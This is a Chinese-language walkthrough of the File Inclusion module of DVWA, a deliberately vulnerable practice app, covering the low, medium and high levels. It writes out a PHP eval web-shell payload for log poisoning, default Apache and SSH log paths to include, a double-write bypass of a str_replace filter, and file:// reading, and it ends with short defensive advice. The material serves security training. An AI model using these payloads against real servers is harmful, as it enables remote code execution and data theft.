DVWA漏洞靶场-文件包含(File Inclusion)
基本知识:
php中引发文件包含漏洞的通常是以下四个函数:
require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
分类:
本地文件包含:
指的是能打开并包含本地文件的漏洞。
远程文件包含:
只有当 allow_url_fopen = On,allow_url_include = On 都开启时,才能进行远程文件包含
1.low 级别
通过源码看到,直接对传入的page参数进行了包含,未作任何过滤
1. 本地文件包含
我dvwa搭建在windows,我现在d盘新建flag.txt, 包含方式如下:
但一般在没获取到目录信息的情况下,我们可以对日志的默认位置进行包含
windows: apache/logs/access.log apache/logs/error.log
linux: /var/log/apache/access.log /var/log/apache2/access.log /var/log/apache/access_log /var/www/logs/access_log /var/log/access_log
相应的的也有error.log
利用web日志包含
localhost/dvwa/vulnerabilities/fi/?page=<?php @eval($_POST['shell']);?>
注意浏览器会对特殊字符进行url编码,导致写入一句话失败,可以用burpsuite抓包解码再转发
这样日志中就记录了这次请求,接下来包含日志,就有了一句话木马
也可对ssh日志进行包含等多种方式,ssh日志默认位置 /var/log/auth.log
1. 远程文件包含
http进行包含,利用条件:allow_url_fopen on & allow_url_include on(默认关闭)
http://localhost/dvwa/vulnerabilities/fi/?page=http://www.baidu.com
2.medium 级别
查看源码
发现使用str_replace对http://,https:// 替换成空
对于str_replace函数进行的过滤,可以使用双写进行绕过
http://localhost/dvwa/vulnerabilities/fi/?page=hthttp://tp://www.baidu.com
发现包含成功
3.high 级别
查看源码
传入的page要以file开头,可以使用file://协议进行文件读取
总结
进行白名单过滤
open_basedir 可将用户访问文件的活动范围限制在指定的区域